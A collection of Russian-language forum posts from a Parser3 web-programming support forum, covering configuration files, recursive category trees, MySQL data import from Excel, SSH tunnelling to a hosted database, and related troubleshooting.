"42931","вот такие нам подарки дарит gdome, который зачем-то к glib привязался.\
\
самое простое: исправьте этот бред:[code]-lglib/libglib.a[/code]\
на просто полную ссылку к этому файлу (без -l)."
"42932","видимо, ваш браузер слишком рано закрывает соединение, так рано, что parser даже не успевает доработать до конца функции @main.\
\
браузера можно понять: он уже получил location и ему больше ничего от сервера не нужно.\
\
однако обычно до SIGPIPE не доходит -- сначала ответ успевает записаться в буфер и только потом отправляется посетителю.\
\
\
проверьте эффект в чистом виде:\
создайте файл, состоящий только из redirect.\
обратитесь к нему, воспроизводится ли?\
\
если [b]не[/b] воспроизводится, то гипотеза:\
ваш код [b]после[/b] выдачи посетителю заголовка location начинает сильно тормозить.\
неполный ответ уходит в браузер, браузер разрывает соединение, поскольку уже услышал, что хотел."
"42933","Посмотрел в $HOME/gnome/lib, такого файла не нашёл... Зато в /usr/lib он имеется."
"42935","Дело в том, что файл libglib.a не входит в glib-2... Использовал glib-1.2.10.\
Есть один вопрос. Почему Parser автоматически не прописывает в auto.p путь до libmysqlclient.so? Зачем тогда писать \"yes\"?..."
"42936","Главный [b]auto.p[/b]:\
[code]\
#change your client libraries paths to those on your system\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	/usr/lib/libmysqlclient.so\
#pgsql	$sqldriversdir/libparser3pgsql.so	-configure could not guess-\
#oracle	$sqldriversdir/libparser3oracle.so	-configure could not guess-\
}]\
]\
[/code]"
"42937","В каждом html файле есть 3 метода @body_header[] @body_additional[] и @unchecked[]\
Может такое быть из-за того, что выполняется @body_additional[]  (в котором редирект), а до @unchecked[] не доходит?"
"42938","[quot]\
проверьте эффект в чистом виде:\
создайте файл, состоящий только из redirect.\
обратитесь к нему, воспроизводится ли?\
[/quot]\
\
Создал файл, в нем:\
\
@body_header[]\
\
@body_additional[]\
$response:location[http://site.ru]\
\
 \
@unchecked[]\
$response:location[http://site.ru]\
\
Ошибку не вызвал"
"42939","на моих тестовых машинах configure разбирается и путь прописывает.\
\
если в вашем случае не разобрался и не вписал, видимо, не нашёл.\
\
это мелочь."
"42940","http://www.parser.ru/forum/?id=42932"
"42941","http://www.parser.ru/forum/?id=40320\
\
т.е. Опера получает ответ с редиректом, смотрит на первый content-length - мало. Пытается докачать, в этот момент срабатывает редирект и... ответ от предыдущего сервера уже никому не нужен."
"42942","Пара методов (getter and setter) оформлены как единая синтаксическая конструкция, которая выглядит как обычная переменная (тип).\
\
Такое есть в C# если интересно читайте книжки по этому языку."
"42943","Да. http://www.c-sharpcorner.com/Language/PropertiesInCS.asp\
\
А смысл - красота?\
Если тягу не отбило \
[quot]Примечание: старайтесь всячески избегать использования полей класса не из методов класса, кроме простейших случаев! По-возможности, общайтесь с объектом только через его методы.[/quot]\
и хождение по чужим и своим граблям, то это не спасет :)"
"42944","Ещё объединение кода работающего с одной сущностью в одном месте, что удобно. Например getter может же не только, просто отдавать поле, но и делать с ним некоторые действия, например преобразования размерностей. То же самое и setter.\
\
Да, и ещё:\
[quote]Вернемся к теме концепции компонентов. Было много споров о том, должны ли языки поддерживаться опции (properties) или события. Конечно, мы можем заменить эти концепции методами. Мы можем именовать паттерны как \"get\" и \"set\" блоки, которые заменяют использование опций. Мы можем использовать интерфейсы и адаптеры, которые реализуют интерфейс и обращаются к объекту. Мы можем это делать, также как мы можем писать объектно ориентированный код на C. Просто это сложнее и тут больше пыльной работы, а от этого в результате можно растерять все свои изначальные идеи. Просто мы думаем, что пришло время для языка, который позволяет легко создавать компоненты. Сегодня разработчики разрабатывают компонентное программное обеспечение. Они не пишут программы-монолиты или монолитные библиотеки классов. Каждый строит компонент, который наследован от другого базового компонента, поставляющегося некоторым окружением. Эти компоненты перекрывают некоторые методы и опции, реагируют на определенные события. Просто необходимо чтобы эти концепции входили уже в первые классы.[/quote]\
\
http://www.gotdotnet.ru/LearnDotNet/CSharp/731.aspx"
"42945","вот так пробую, но выскакивает ошибка call canceled - endless recursion detected\
[code]\
@format_category_tree[category;parent_id][category;parent;parent_category]\
# тут будет храниться правильно отформатированная таблица с категориями\
^if(!def $formated_category){$formated_category[^table::create{category_id	name}]}\
# перебираем\
$root_cat[^category.select($category.parent_id == $parent_id)]\
^root_cat.menu{\
	^add_row[$root_cat.fields;^format_category_tree[$category;$root_cat.category_id]]\
}\
#$result[$formated_category]\
# end of @format_category_tree[category;parent_id]\
\
\
@add_row[row;body][row;body]\
$result{\
	^formated_category.append{$row.category_id	$row.name}\
	^if(def $body){$body}\
}\
[/code]"
"42946","Привкладываю\
Таб. №1:\
Имя файла Names.txt\
Изначальное содержимое:\
Name	password\
Вторая:\
Файл Online.txt\
У нутрях:\
names	time\
Последняя \
Soobsh.txt\
author	tohom	text"
"42947","Угу, до чего-то подобного, поразмышляв и дошел.\
\
[code]\
$pAUTH[^auth::create[$lparams]]\
^pAUTH.userACL.menu{\
...\
}\
\
...\
\
@CLASS\
auth\
\
@GET_userACL[]\
^if($USER.isLogon){\
	$result[^pSQL.table{...}]\
}{\
	$result[^table::create{}]\
}\
[/code]"
"42948","Т.е. опросить определенный IP и порт и на ответ сообщить что-то вроде Online или Offline."
"42949","Вы таскаете одну и ту же таблицу, без изменений.\
\
Что у меня получилось из вашего кода:\
\
[code]@format_category_tree[category;parent_id;level_indicator][root_cat;another_cat]\
# дети текущего элемента\
$root_cat[^category.select($category.parent_id == $parent_id)]\
# все, кроме детей\
$another_cat[^category.select($category.parent_id != $parent_id)]\
^root_cat.menu{\
	^formated_category.append{$root_cat.category_id	${level_indicator}$root_cat.name}\
	^format_category_tree[$another_cat;$root_cat.category_id;${level_indicator}-]\
}\
$result[][/code]\
\
\
Где-нибудь:\
[code]$category[...]\
\
# это будет таблица с нужной структурой\
$formated_category[^table::create{category_id	name}]\
^format_category_tree[$category;0]\
\
^formated_category.menu{$formated_category.name}[<br>][/code]\
\
Предполагается, что в category элементы-братья расположены относительно друг друга в нужном порядке."
"42951","Работаю в связке Parser + MySQL. Сейчас стоит задача создания информационного каталога с предполагаемым количеством записей в таблицах БД до 1,5 млн. Потянет ли MySQL? Буду признателен за советы. Кто сталкивался с такими же задачами, поделитесь опытом, что бы не наступать на одни и теже грабли."
"42952","Кому-нибудь нужно n-ое количество /n?"
"42953","Создал файл index.html, вставил в него ваш код, запустил... \
\
Чистый лист.\
\
Ничего не забыли?.."
"42956","Разбираю Ваш пример. Использую код:\
[code]\
<tree-item\
url=\"./?id=$levelmessages.forum_message_id\"\
id=\"$levelmessages.forum_message_id\"\
date=\"$levelmessages.dt_published\"\
is-empty=\"^if($levelmessages.is_not_empty){0}{1}\"\
>\
[/code]\
Есть вопрос, как можно вывести url таким образом:\
http://domain/1/3/17/35/\
1 - это главная категория; 3 - подкатегория 1; 17 подкатегория 3 и 35 подкатегория 17.... И т.д."
"42957","[code]\
RewriteRule	^(.*)$	/index.html?uri=$1	[QSA]\
[/code]\
\
А дальше Парсером разбирать...\
\
По хорошему бы делать разбор ДО Парсера, но так как глубина вложенности неизвестна — мне кажется невозможным написание regexp."
"42958","уважение к читателю."
"42959","У меня есть:\
[code]\
url=\"./?id=$levelmessages.forum_message_id\"\
[/code]\
Выглядит примерно так:\
[code]\
url=\"./?id=[color=\"#ff0000\"]15[/color]\"\
[/code]\
Где 15 - это ID сообщения. А я хочу, чтобы вывод url=\"...\" был таким:\
[code]\
url=\"./1/5/15/\"\
[/code]\
Где 1 - главное сообщения, 5 ответ на главное сообщение и 15 ответ на сообщение, ID которого 5."
"42960","Могу сказать точно, что ты сможешь разбить все записи\
по разным БД(или таблицам) используя в качестве идентификатора\
либо начальную букву значимого поля(не во всех случаях годиться),\
либо по любому схожему критерию.\
Тебе же за раз все 1,5 млн. записей выводить не надо.\
\
И перед каждым запросом определять критерий, который ты выбрал.\
В соответствии с этим критерием и обращатся к нужной БД."
"42961","Кроме того, что указано здесь:\
[url=\"http://www.parser.ru/news/\"]архив новостей[/url]"
"42962","1.5 мин записей в одной теблице - не такая уж большая цифра, хотя многое зависит от того, как они будут храниться в этой таблице и что вы планируете делать с этими записями."
"42964","Нужно ведь вывести, а не разобрать... :)\
\
Значит нужна рекурсия, которая будет подниматься вверх по дереву. Что-то вроде этого (чтобы не делать каждый раз обращение к базе, можно сообщения хранить в хэшэ):\
\
[code]\
@x[parent_id;uri][message]\
^if(^parent_id.int(0)){\
	$message[^getMessageByParent[$parent_id]]\
	^x[$message.parent_id;$parent_id^if(def $uri){/$uri}]\
}{\
	$result[/uri/]\
}\
[/code]\
\
Код не проверял, писал сразу сюда, но идея, я думаю, ясна."
"42965","Кто может дать пример конфигурационного файла.\
Мне надо было в нём прописать smtp сервер, а у меня ещё установлена БД MySQL.\
\
В итоге выдаёт ошибки вроде [quot]parser already configured[/quot]."
"42966","... и самому посмотреть. :-)"
"42968","Не могу разобраться с Вашим примером... :-(\
\
Вот мой код:\
\
[code]\
@getMessagesByParent[category_parent_id;limit]\
$result[^table::sql{\
	SELECT\
		categories.category_id AS id,\
		category_parent_id,\
		category_type,\
		name,\
		title,\
		date_published,\
		is_published\
	FROM\
		categories\
	WHERE\
		^if(def $category_parent_id){category_parent_id = ^category_parent_id.int(0) AND}\
		is_published = 1\
	ORDER BY\
		date_published\
}[^if(^limit.int(0)){$.limit(^limit.int(0))}]]\
\
@getMessagesByThread[thread]\
$result[^table::sql{\
	SELECT\
			categories.category_id AS id,\
			category_parent_id,\
			category_type,\
			name,\
			title,\
			date_published,\
			is_published\
	FROM\
		categories\
	WHERE\
		^if($thread is table){\
			^if($thread){category_type IN (^thread.menu{$thread.category_type}[,]) AND}\
		}{\
			category_type = ^thread.int(0) AND\
		}\
		is_published = 1\
	ORDER BY\
		date_published DESC\
}]\
\
@printMessagesByParent[categories;category_parent_id][levelcategories]\
$levelcategories[^categories.select($categories.category_parent_id == $category_parent_id)]\
^levelcategories.menu{\
	^printTreeItem[$levelcategories.fields;^printMessagesByParent[$categories;$levelcategories.forum_message_id]]\
}\
\
@printTreeItem[category;body]\
$result[<input type=\"checkbox\" name=\"categories\" value=\"$category.id\">$category.title [$category.id]<br>\
^if(def $body){<ul>$body</ul>}]\
\
@printMessagesByParent[category_parent_id][levelcategories]\
^if($hashTree.[$category_parent_id]){\
	$levelcategories[$hashTree.[$category_parent_id]]\
	^levelcategories.menu{\
		^printTreeItem[$levelcategories.fields;^if($hashTree.[$levelcategories.id]){^printMessagesByParent[$levelcategories.id]}]\
	}\
}\
\
@createHashTree[categories]\
$result[^categories.hash[category_parent_id][$.distinct[tables]]]\
\
@printMessageUrl[parent_id;uri][message]\
^if(^parent_id.int(0)){\
	$message[^getMessagesByParent[$parent_id]]\
	^printMessageUrl[$category.parent_id;$parent_id^if(def $uri){/$uri}]\
}{\
	$result[/uri/]\
}\
\
@main[]\
^MAIN:pSQL.server{\
	$rootMessages[^getMessagesByParent[]]\
	$categories[^getMessagesByThread[$rootMessages]]\
	$hashTree[^createHashTree[$categories]]\
	^printMessagesByParent[0]\
# тестирую printMessageUrl\
	^printMessageUrl[6]\
}\
[/code]"
"42969","В связи с переездом моего личного сайта на хостинг, где копеечные цены, но есть лимиты на bandwidth, \"Швейцарский ножик\" отселяется на sourceforge.\
\
Homepage проекта - http://sourceforge.net/projects/swiss-knife/ (http://swiss-knife.sourceforge.net/), дистрибутивы [url=\"http://sourceforge.net/project/showfiles.php?group_id=144555\"]качать отсюда[/url].\
\
Выложено два варианта:\
- без mod_perl и перловых модулей, но с apache, mysql, parser, php и mysqlfront + с smtp-эмулятором моего производства (4,5Mb)\
- то же самое, но с perl'ом (11,4Mb)\
\
Изменений по сравнению с предыдущим вариантом немного. Статус - всё ещё beta. В \"todo\":\
- дописать эмулятор smtp-сервера\
- сделать документацию\
- сделать вебстраничку с информацией о пакете\
\
но пользоваться уже можно (в том числе smtp-эмулятором). Как и раньше, главное требование - наличие MS Visual Basic runtime у пользователя.\
\
P.S. Sourceforge оказался такой замороченной штукой, что определение \"без поллитры не разберёшься\" неприменимо. Минимум - ящик..."
"42970","дело не в файле, а в том, куда вы его положили."
"42971","Да я всё пересмотрел. Может просто не понял.\
\
В auto.p пишу\
[code]@conf[filespec][/code]\
В дирикторию с главным auto.p кладу фаил с названием filespec, а в него код [code]$mail[$.smtp[localhost]][/code]\
И всё.\
Парсер стоит на IIS. Письма отправляются также через IIS.\
Он работает, т.к. через него ещё ходят письма клиента \"TheBat!\"."
"42973","если вы так хитро понимаете простые инструкции, давать вам дополнительные малоосмысленно.\
\
но попробую :)\
\
посмотрим, можете вы следовать буквально?\
1. сотрите все ваши auto.p файлы\
2. положите рядом с parser3 файлом файл auto.p, который возьмите из раздела /download"
"42976","Всё правильно получилось. \
\
Видимо endless recursion detected в голове моей :)\
\
Спасибо!"
"42977","Можеть это Вы не можете нормально излагать свои мысли???\
[quot]2. положите рядом с parser3 файлом файл auto.p, который возьмите из раздела /download[/quot]\
\
Что тут можно понять?\
Download на www.parser.ru, так auto.p там нет!\
auto.p лежит у меня в корневой директории."
"42978","В смысле, буквальней, еще буквальней :-)"
"42979","может и я плохо излагаю мысли. попытка 2:\
\
http://www.parser.ru/download/freebsd/\
Ctrl+F \"Конфигурационный файл\""
"42980","Попробую объяснить...\
1. Удалите все дополнительные файлы, которые вы создали.\
2. [code]@conf[filespec] и $mail[$.smtp[localhost]][/code] относятся только к главному конфигурационному файлу(auto.p который лежит рядом с parser.exe(ну или parser.cgi) в нём метод [code]@conf[filespec][/code] уже определён по умолчанию и все изменения нужно делать именно в нём.\
3. ошибка [quot]parser already configured[/quot] произошла из-за того, что вы повторно определили [code]@conf[filespec][/code]\
И вообще повнимательнее читайте документацию, FAQ и используйте поиск. Надеюсь я понятно объяснил =)"
"42982","соответственно будет производится выборка либо по марке авто, либо по модели, либо поиск по артикулу и т.п."
"42983","марка, модель, артикул - думаю проблем не будет (соотв. марка и модель - ссылки на записи марок/моделей лежащие в других таблицах)"
"42984","Проблема в том, что я дал содержимое auto.p файла, а не index.html. Замедте пожалуйста в коде идет только описание методов, но не один метод не вызываеться. В крайнем случае я другой причины не вижу. Если не надоело со мнй мучаться пожалуйста поменяйте в первом методе собаку на птичку:)."
"42986","В файле Excel (объем около 1 Мб = порядка 10 тыс. строк) есть информация. Ее надо обработать и распихать в БД без каких либо преобразований файла. То есть все должно быть автоматизированно до предела:) Заходит юзер, загружает файл excel на сервер и ни о чем не думает. Все уже в базе. Какие есть идеи?"
"42987","Это надо писать на Perl. Поищите на www.cpan.org по слову Excel. Навскидку:\
http://search.cpan.org/~isterin/XML-Excel-0.02/Excel.pm\
http://search.cpan.org/~isterin/XML-SAXDriver-Excel-0.06/Excel.pm\
http://search.cpan.org/~kwitknr/DBD-Excel-0.06/Excel.pm\
\
etc.\
\
В принципе там всё есть: можно парсить *.xls файл в xml, можно сразу в базу, можно работать с файлом как с базой. \"Всё украдено до нас\" (С) \"Операция Ы и др. приключения Шурика\" :)"
"42991","Все, спасибо! Разобрался.\
Я спутал parser3.exe c parser3_wrapper.exe, т.к. подумал что он обрабатывает html по (.htaccess).\
\
Хостинг у нас на Linux Redhat.\
Как тут быть с sendmail-ом?\
\
И там в /cgi-bin/ с parser.cgi нет auto.p."
"42992","[quote]И там в /cgi-bin/ с parser.cgi нет auto.p.[/quote]\
хотя вам чётко сказано\
[quote]\
посмотрим, можете вы следовать буквально?\
1. сотрите все ваши auto.p файлы\
2. положите рядом с parser3 файлом файл auto.p, который возьмите из раздела /download\
[/quote]\
неутешительный вывод: вы не можете следовать даже буквальным инструкциям.\
\
\"что-то работает\" — такое бывает. однако в отсутствии понимания происходящего это быстро проходит.\
вывод: перед публикацией следующей \"проблемы\" (которая [b]возникнет[/b] через 10, 9, 8.. секунд), пожалуйста, подумайте много раз.\
\
отдельно: файлы .exe на Linux попадались, один остряк-администратор так их называл. но я очень надеялся, что подобные остряки уже перевелись."
"42993","А причём тут Linux и .exe?\
\
Я же пишу. У нас там хостинг. И точка.\
Поэтому м спрашиваю про sendmail.\
\
А сам сайт делаем на Windows."
"42996","пример:\
в первой строке в первой ячейке написано - AUDI\
во второй строке первой ячейке написано - A6\
потом идет 500 строк из 5 ячеек ....\
и т.д."
"42997","искал кое-что, набрёл в архиве на забавный screenshot:\
\
http://www.parser.ru/f/1/fun/20011116parser3_three_oses.gif\
\
цвета, шрифты, ориентация taskbar, ориентация экрана \
с тех пор сменились полностью ;)"
"42998","Можете посмотреть здесь: http://www.mysql.ru/download/\
По мне вариант, предложенный Misha v.3 довольно удобен. На сколько помню, я сохранял .xls в .csv и импортировал с помощью LOAD DATA INFILE.\
Пример:\
[code]\
LOAD DATA LOCAL INFILE 'mytbl.txt' INTO TABLE mytbl\
FIELDS TERMINATED BY ',' ENCLOSED BY '\"'\
LINES TERMINATED BY '\\r\\n';\
[/code]\
[i]Наверное, возможно испортировать сразу .xls...[/i]"
"42999","естественно, что нужно будет из xls создать текстовый файл заданного формата (или несколько для загрузки данных в несколько таблиц). но с быстрыми perl-овыми регулярными выражениями обработки текста не являются проблемой."
"43000","1. сначала зафиксируйте формат файла,\
договоритесь с пользователями, чтобы ничего в нём неожиданно для вас не менялось.\
дополните файл проверочными данными, которые проверяйте позже, что пользователь не стёр чего-нибудь важного (скажем, есть строка с заголовками столбцов, справа, за последним заголовком, впишите некое слово; если при import это слово будет отличаться от контрольного, значит пользователь мудрит, ругаться).\
\
2. смените формат файла, с .xls форматом работать простыми скриптами неудобно. если файл не содержит каких-нибудь глупых рамочек и прочего, то пользователям до лампочки, что в нём. сохраните файл в формате \"Tab-delimited\", получится Book.txt, переименуйте его в Book.xls, пользователи ничего не заметят :)\
\
3. т.к. файл ваш состоит из кучи секций, один простой http://www.parser.ru/forum/?id=42988 не подойдёт = необходимо сначала разрезать файл на секции. воспользуйтесь ^string.match чтобы найти разделяющие блоки и разрезать файл на большие куски, сохраните их в отдельные файлы section1.txt, section2.txt, ...\
и затем http://www.parser.ru/forum/?id=42988 их по очереди."
"43001","Закачка нескольких текстовых файлов общим объемом около 55 метров.\
Читаются парсером и пишутся в базу. \
\
На сабмите долгое зависание, а на выхлопе apache выдает:\
Premature end of script headers: parser3.exe\
\
В предыдущей версии файлов общим объемом порядка 7 метров - все ок.\
\
Это может быть связано с какими-то ограничениями на размеры файлов в парсере или MySQL? С чем еще?"
"43003","форматы этих файлов для каждого конкретного поставщика всегда одинаковые т.к. формируются используемым ПО. Для каждого файла от поставщика нужно писать свой способ конвертации т.к. файлы поставщиков отличаются. Кол-во этих файлов доходит до 100 шт., поэтому не хотелось бы заниматься еще и сохранением в другом формате."
"43004","Поможет, если Вы сами будете обрабатывать файлы. Что за сервер? Если Windows, то возможно эта программа Вам поможет."
"43005","если поставщиков 100 и файлы различаются, то можно смело сказать, что если не программа, то человек где-то ошибётся и что-то перепутает.\
\
чтобы не заниматься преобразованием форматов:\
самое простое, это каждому поставщику выдать URL, куда он войдёт и сделает ритуальное действие:\
откроет Excel, выделит весь текст, Edit|Copy.\
перейдёт на вашу страничку в <textarea name=data> и сделает туда Edit|Paste.\
\
если же файлы [b]уже[/b] собираются из разнородных источников, и трогать имеющуюся схему нельзя, то, для начала, надо написать несложную программку, которая умеет работать с .xls форматом.\
\
удобнее всего делать это на Windows, и удобнее всего, на MS Access.\
там работа с .xls файлами идёт, как с родными, и обработать разом много файлов можно совсем небольшим куском кода.\
\
во что превращать эти файлы будет в руках Access  программиста. вариант: сразу делать POST запрос на ваш сервер, где пятистрочный скрипт будет их забрасывать в базу данных."
"43006","была такая вот идея...\
http://www.parser.ru/forum/?id=5468\
\
в продолжение той мысли:\
на Windows Parser может работать прямо с .xls файлами   через ODBC драйвер, Microsoft написал и такой.\
\
вот в общем виде:\
http://www.parser.ru/docs/lang/app3odbc.htm\
\
а вот для .xls:\
[code]\
odbc://Driver={Microsoft Excel Driver (*.xls)}^;Dbq=C:\\полный\\путь\\к\\файлу.xls\
[/code]"
"43007","Открыл документацию (стр. 89). Смотрю, пробую...\
[code]\
$value(123)\
^value[]\
[/code]\
Здесь мне кажется всё понятно. Просто заменяю ^value[] на ^value.int[]... А вот в своём примере не могу сообразить.\
Задаю себе много вопросов.\
[code]\
$category_parent_id[^params.category_parent_id.int(0)]\
$category_parent_id\
[/code]\
Вроде же должно вывести либо число, указанное в params.category_parent_id, либо 0?... :-)"
"43009","Вот так я поизвращался над вашим кодом о построении деревьев средствами P3:\
[code]\
@categories_parents[params]\
$result[^table::sql{\
	SELECT\
		category_id AS id,\
		category_parent_id,\
		category_type,\
		category_thread,\
		name,\
		title,\
		date_published,\
		is_published\
	FROM\
		categories\
	WHERE\
		^if(def $params.category_parent_id){category_parent_id = ^params.category_parent_id.int(0) AND}\
		is_published = 1\
	ORDER BY\
		date_published\
}[\
	^if(^params.limit.int(0)){$.limit(^params.limit.int(0))}\
]]\
\
@categories_threads[thread]\
$result[^table::sql{\
	SELECT\
		category_id AS id,\
		category_parent_id,\
		category_type,\
		category_thread,\
		name,\
		title,\
		date_published,\
		is_published\
	FROM\
		categories\
	WHERE\
		^if($thread is table){\
			^if($thread){category_thread IN (^thread.menu{$thread.category_thread}[,]) AND}\
		}{\
			category_thread = ^thread.int(0) AND\
		}\
		is_published = 1\
	ORDER BY\
		date_published DESC\
}]\
\
@category[category;body]\
$result[<category>\
	<id>$category.id</id>\
	<title>$category.title</title>\
	<name>$category.name</name>\
	$body                   \
</category>]\
\
@printCategoriesByParent[category_parent_id][levelcategories]\
^if($categories_hash_tree.[$category_parent_id]){\
	$levelcategories[$categories_hash_tree.[$category_parent_id]]\
	^levelcategories.menu{\
		^switch[$out]{\
			^case[DEFAULT]{<category>\
				<id>$levelcategories.fields.id</id>\
				<title>$levelcategories.fields.title</title>\
				<name>$levelcategories.fields.name</name>\
				^if($categories_hash_tree.[$levelcategories.id]){^printCategoriesByParent[$levelcategories.id]}\
			</category>}\
		}\
	}\
}\
\
@categories_hash[categories;key]\
^createTreeHash[$categories;$key]\
\
@categories_list[params]\
$root_categories[^categories_parents[]]\
$categories[^categories_threads[$root_categories]]\
$categories_hash_tree[^categories_hash[$categories;category_parent_id]]\
<categories>\
	^printCategoriesByParent[0]\
</categories>\
[/code]\
Из своих наблюдений.\
\
Если изменить переменную [b]$category_parent_id[/b] в методе [b]@printCategoriesByParent[][/b] на число, к примеру [b]0[/b], то получается ошибка. Теоритически вроде бы не должна быть ошибка...\
\
[code]\
@printCategoriesByParent[category_parent_id][levelcategories]\
^if($categories_hash_tree.[0]){\
	$levelcategories[$categories_hash_tree.[0]]\
	^levelcategories.menu{\
		^switch[$out]{\
			^case[DEFAULT]{<category>\
				<id>$levelcategories.fields.id</id>\
				<title>$levelcategories.fields.title</title>\
				<name>$levelcategories.fields.name</name>\
				^if($categories_hash_tree.[$levelcategories.id]){^printCategoriesByParent[$levelcategories.id]}\
			</category>}\
		}\
	}\
}\
[/code]\
\
Ведь вызовом [b]^printCategoriesByParent[0][/b] я и присваиваю этой переменной значение [b]0[/b]. А почему тогда Parser ругается?... ;-)\
Может это парадокс..."
"43010","Предлагаю удалить последние 2 сообщения.\
\
\"А ларчик просто открывался!\"\
Ошибка была в [b]$root_categories[/b]:\
[code]\
$root_categories[^categories_parents[$.category_parent_id(0)$.limit(20)]]\
[/code]"
"43011","Мой провайдер не поддерживает установку новых скриптов в CGI-BIN, о чем я узнал только что. :( Локально Парсер работает у меня в системе Денвер. Можно ли интерпретировать целый сайт локально в определенную директорию для последующей загрузки на сервер (как временное решение)?"
"43012","в результате получите пачку статических html файлов, которые можете положить куда угодно. но о динамике придется забыть."
"43013","в природе есть windows версия утилитки. денег не хочет."
"43014","Уважаемый ПАФ!\
я несколько месяцев назад собирался дописать к парсеру класс для работы с сокетами.\
Все уперлось в простую прозу жизни - \"просто нет времени\".\
Однако кое-какие наработки появились. Товарищ помог с сишным классом для сокетов. Но на привязку к парсерному айпи никак не найдется время.\
Вам надо их пересылать?\
Если да, то с каким заголовком, чтобы не попасть под антиспам?"
"43015","Cпасибо за такое простое и эффективное решение! Теперь буду сидеть и думать, почему я сам до этого не додумался... :)\
Влад."
"43016","под антиспам не попадёте, отключил автостирание.\
а заголовок, как всегда, \"parser3: relevant text\""
"43017","[b]Суть: [/b] сайт на РБК-хостинг подключается к БД masterhost.ru не получается. Выдает стандартный ответ ошибки. В логах:\
----\
[Wed Aug  3 15:50:02 2005] /sitepartners/: /www/palkinn/users/palkinn-zaolama/www/htdocs//sitepartners/links.p(7:2): 'mysql://****@u16671.mysql.masterhost.ru/u16671' Can't connect to MySQL server on 'u16671.mysql.masterhost.ru' (60) [sql.connect]\
----\
\
Такое вообще возможно? или это от хостеров зависит?"
"43018",".masterhost, как впрочем и большинство хостеров, закрывает доступ к MySQL извне (в целях безопасности)."
"43020","это только удобные вспомогательные низкоуровневые классы (pa_common.C и без эти лишних слов успешно пользуется sockets).\
\
к тому же, это не скомпилится под unix.\
\
кто не в контексте, мы про это:\
http://www.parser.ru/forum/?id=38801"
"43023","Я не провидец, но что-то мне подсказывает, что очередной заслуженный отпуск не за горами? ;)"
"43024","\"...В целях безопасности прямой доступ к серверам MySQL из интернет закрыт (исключение составляет ssh-туннель), а клиентам предоставляются следующие возможности администрирования и использования БД:...\"\
\
и т.д."
"43025","При распечатке документации на Parser из pdf файла (с сайта) номера страниц и текст копирайта не распознается (тарабарщина печатаеться), но при просмотре файла в AcrobatAcrobat 6.0 Professional все нормально."
"43026","поищите строчку [code]не&&работает[/code]\
\
правильно, почитав доки по Parser и по Yandex, сделать так:\
[code]\
$request[\
<request>\
<query>^taint[xml][($text) && #url=\"mysite.net\"]</query>\
<page>$page_num</page>\
</request>\
}]\
...\
[/code]\
\
вам советовали, а вы пренебрегли :(\
http://www.parser.ru/forum/?id=42896\
\
без скобок не будет работать такой поиск:\
[code]\
увы||мне\
[/code]\
без скобок он найдёт вам слово \"увы\" по всем сайтам, и только слово \"мне\" на вашем сайте.\
\
отмазка \"работает простой вариант\" не катит.\
нечтение документации + недумание о судьбе специальных знаков = проблемы в будущем :)"
"43028","почитайте что-нибудь, видно, что вам оно нужно.\
\
для роботов: это простой цивилизованный универсальный способ общаться."
"43029","в некоторых случаях очень удобная простая и полезная вещь.\
иногда пугаются и не пользуются, а напрасно.\
\
на пальцах:\
часто между машинами нет прямой связи по определённому порту, закрыто. а нужно.\
когда из тюрьмы надо бежать, а закрыто, давно придуман способ: прокопать туннель.\
тут то же. делается разрешённое соединение, по протоколу ssh, при запуске ssh клиента двумя ключиками включается возможность соединяться с другим портом удалённой машины.\
\
конечно, первое, о чём тут надо подумать: не сделаем ли мы так дыру?\
да, соединение шифрованное, но вдруг кто что не то спросит?\
поэтому нужно принять все возможные меры, чтобы этого не произошло.\
mysql: начать нужно с того, что создать ещё одного пользователя, и дать ему только те права, что реально нужны. скажем, только читать(select) из таблицы a,b,c.\
\
конкретные ключики посмотрите в \"man ssh\", кому не лень, ответьте сюда или дайте ссылку."
"43030","семинар читался, когда был написан первый сырой код. чтобы людям рассказать о новом языке.\
\
наша с вами без-малого-200 страничная документация \
http://www.parser.ru/docs/lang/ (не устану благодарить авторов: Алексей Сорокин и Владимир Муров) начиналась с этого коротенького документа с тезисами к тому семинару:\
\
http://www.parser.ru/f/1/fun/l1.htm"
"43031","причём на диске у вас должен был образоваться файлик .core, а недоумение сразу по двум направлениям:\
1. почему файлик такой не появился (видимо, админ ваш решил, что так лучше)\
2. почему бы не залить текстовый файлик на 500M?\
3. кроме шуток — посмотрите на приложение к договору с вашим провайдером: сколько там памяти CGI скриптам выделено?"
"43032","фонт в указанных местах тот же, что и в тексте.\
и векторный.\
в тексте 12 пунктов, в copyright, заголовке страницы, номере страницы: 10.\
\
заголовок страницы читается?\
скажем, на странице \"Как работать с документацией\" сверху:\
[code]\
Parser 3.1 ______ Как работать с документацией [ 8 ]\
[/code]\
всё набрано одним шрифтом одной высоты."
"43033","phpMyAdmin тоже не хочет закачивать конкретно самые толстые таблицы, говорит:\
\
ldi_check.php: Missing parameter: db\
ldi_check.php: Missing parameter: table\
\
Так что дело не в .cgi, по ходу.\
\
Все стоит на localhost, текстовый файлик на 500М оставит меня без работы на полдня, а лимита на объем памяти для .cgi я не устанавливал. А почему я мог решить, что лучше без .core? :) Куда этот файл должен валиться? Он чей, Apache или MySQL?"
"43035","Не распознается: колонтитулы, номера страниц, знаки табуляции в Оглавлении, код Parser'а в примерах, файлы и каталоги, доп. информация, номер версии Parser, заголовки 2-го уровня.\
\
Распознаеться: основной текст, заголовки 1-го уровня."
"43036","[code]\
@printMessageUrl[parent_id;uri][message]\
^if(^parent_id.int(0)){\
#	Зачем нам эта переменная, если мы ее нигде не используем?..\
#	$message[^getMessagesByParent[$parent_id]]\
	^printMessageUrl[$category.[$parent_id].id;$parent_id^if(def $uri){/$uri}]\
}{\
#	Доллар забыт был :)\
	$result[/$uri/]\
}\
[/code]"
"43037","Пока сделал одинаковые копиии на разных БД. Но буду разбираться с ssh. PAF'у - спасибо."
"43038","http://dev.mysql.com/doc/mysql/ru/windows-and-ssh.html - на русском\
\
http://dev.mysql.com/doc/mysql/en/windows-and-ssh.html - на английском"
"43039","шрифт помещён внутрь .pdf файла, использован самый старый формат, который понимают [b]все[/b] версии Acrobat[Reader], подобные жалобы крайне редки.\
\
вывод: проблема локальна. попробуйте переустановить  AcroReader.."
"43040","хотя тоже многим будет удобнее так работать со своей удалённой базой.\
\
вариант: можно поставить локально MySQL ODBC драйвер, и соединиться со своей базой из... MS Access!\
иметь при этом все удобства :)"
"43041","Если честно, не понимаю, как точно такой же html код не даёт того же результата, что и на самом сайте. У меня проблема в отображении слова \"поиск\". Его нет."
